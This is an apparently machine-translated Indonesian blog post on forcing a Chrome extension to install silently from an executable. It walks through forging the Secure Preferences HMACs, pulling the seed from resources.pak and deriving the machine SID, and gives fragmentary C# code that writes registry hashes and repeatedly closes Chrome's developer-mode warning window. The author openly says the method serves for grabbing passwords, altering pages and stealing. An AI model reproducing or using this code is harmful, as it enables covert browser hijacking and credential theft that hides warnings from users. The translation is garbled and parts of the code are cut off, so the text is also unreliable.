
Selamat siang, pembaca yang budiman! Chrome diperbarui, tetapi tidak ada artikel baru tentang cara menginstal ekstensi secara terprogram di chrome, selain - load-extension - tetapi ini bukan pilihan kami, karena kami tidak mencari cara yang mudah. Hari ini saya akan memberi tahu Anda bagaimana sangat mungkin untuk mendapatkan semuanya dengan satu exe-shnik: kata sandi, ubah konten, cara mencuri, dll. - tapi ini
bukan ajakan untuk bertindak , tetapi hanya sebuah artikel untuk ditinjau. Semua jus di bawah luka.
Jadi, apa yang memungkinkan kita melakukan ekstensi dalam mode pengembang? Yah, seperti ekstensi reguler, ini dapat berfungsi di semua situs, dan, misalnya, memecahkan kata sandi, mengimplementasikan iklan, dan sebagainya. Tetapi ekstensi dalam mode pengembang memberikan akses ke fitur lain, yang tampaknya tidak terlalu penting, tetapi dapat berguna: kita memiliki akses ke sistem file. Ya, kami akan meluncurkan exploit ini dari file exe dan, pada prinsipnya, kami tidak benar-benar membutuhkannya, tetapi bagaimana jika?
Kami menganalisis file
Jadi, sebagai permulaan, Anda dapat melihat file mana yang akan berbeda setelah menginstal ekstensi, kita dapat menemukan bahwa itu adalah% appdata% \ .. \ Lokal \ Google \ Chrome \ Data Pengguna \ <profil> \ Preferensi Aman. Ayo salin isinya, hapus ekstensi dan kembalikan salinannya - bam di sini! dan ekspansi berfungsi lagi. Melihat ID, Anda dapat melihat bahwa dua nilai berubah dengan kunci ini: extensions.settings.id dan protection.macs.extensions.settings.id - yang pertama adalah pengaturan, yang kedua adalah semacam hash. Kami naik ke jenis dan melihat - ini adalah HMAC SHA256. Tapi dari mana dia mendapatkannya? Mari masuk ke debugger, lampirkan ke chrome dan muat simbol dari
https://chromium-browser-symsrv.commondatastorage.googleapis.com
Pemerkosaan krom
Wow! Kami menemukan file pref_hash_calculator.cc, unduh, atur break on
std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const
Op - kami mendapatkan seed_ - kunci untuk HMAC, dan kami juga menemukan bahwa ia menggabungkan tiga baris dan mengambil hasilnya sebagai HMACSHA256 (device_id + jalur + nilai, seed_). Oke, mari kita lihat seed_ kita - dan di sini chagrin pertama menunggu kita: itu hanya baris "ChromeRegistryHashStoreValidationSeed" - tanyakan, ada apa dengan itu? Dan mari kita lihat hasil perhitungan, bandingkan hash dan hash yang dihasilkan dalam file di sepanjang jalur ini - kami kecewa, tapi tidak! Kata kuncinya di dalam kuncinya adalah "Registry", kita naik ke dalam registri, lihat - dan memang, ini adalah kunci untuk hash dalam registri, kita akan membutuhkannya.
Mendebit, merendahkan, dan di mana saja hanya kunci ini, apa yang salah? Sekarang mari kita lihat berapa lama kunci standar untuk HMACSHA256 seharusnya? 64 byte, dan kemungkinan besar ini bukan garis, tetapi semacam byte. Menyortir? Tidak punya waktu! Asumsi pertama - seed_ kami hardcoded di setiap versi chrome - mari kita coba untuk memilah-milah semua opsi untuk 64x byte berturut-turut dalam file biner dan chrome. Kami menulis skrip sederhana dan dalam sekitar satu jam kami mendapatkan hasil pertama: seed_ kami terletak pada resources.pak. Mari kita google strukturnya.

Versi 4, milik kita 5. Ada yang salah, mungkin strukturnya belum berubah? Tapi tidak. Setelah beberapa upaya, kami mendapatkan bahwa strukturnya adalah sebagai berikut: 4 byte versi (5), 4 byte - encoding? (1), 2 byte - jumlah rekaman, 2 byte tidak jelas apa. Berikutnya adalah entri dalam format: 2 byte - ID, 4 byte - diimbangi relatif terhadap awal file. Kami mencari bagian dengan panjang 64 byte - dan ya, kami menemukannya, ini seed_ kami. Sekarang mari kita menulis fungsi untuk mencari seed_ di resources.pak untuk file versi 4 dan 5:
public static byte[] GetSeed(string resources_pak) {
Oke, mari kita ubah pengaturan, dan coba ganti hash - kegagalan. Hal pertama yang dapat ditemukan dalam jenis krom adalah bahwa semua objek kosong dihapus dari nilai. Oke, katanya - dilakukan.
Sekali lagi kegagalan - kita perlu menghasilkan HMACSHA256 yang sama dari proteksi.macs juga, jalur dalam kasus ini harus dihilangkan. Hebat! Diterima Tapi, kami benar-benar lupa tentang device_id - di mana saya bisa mendapatkannya? Dalam versi yang lebih lama, ini adalah MachineID dari beberapa pustaka RLZ pihak ketiga. Di yang baru, hanya SID dari PC. Bagaimana cara mendapatkannya? Untuk opsi kedua dan versi baru chrome:
public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else {
Dan, untuk versi lama:
public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); }
Jadi, tetap mengolok-olok pengaturan dan menyimpan file, tetapi menutup chrome:
public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = " "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process();
Juga, perhatikan bahwa sekarang ketika Anda membuka browser, jendela "Menonaktifkan Ekstensi dalam Mode Pengembang" terbuka - cara menutupnya sudah menjadi pilihan semua orang. Bagaimana saya bisa meninggalkan aliran setelah saya yang akan menutup jendela ini melalui WinAPI:
public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } }
Semoga berhasil dan peretasan etis! Siapa yang tahu bagaimana melakukan hal yang sama dengan Yandex Browser - akan sangat menarik untuk mengetahui jika saya sudah mencoba untuk mengambilnya selama seminggu sekarang, itu tidak berfungsi.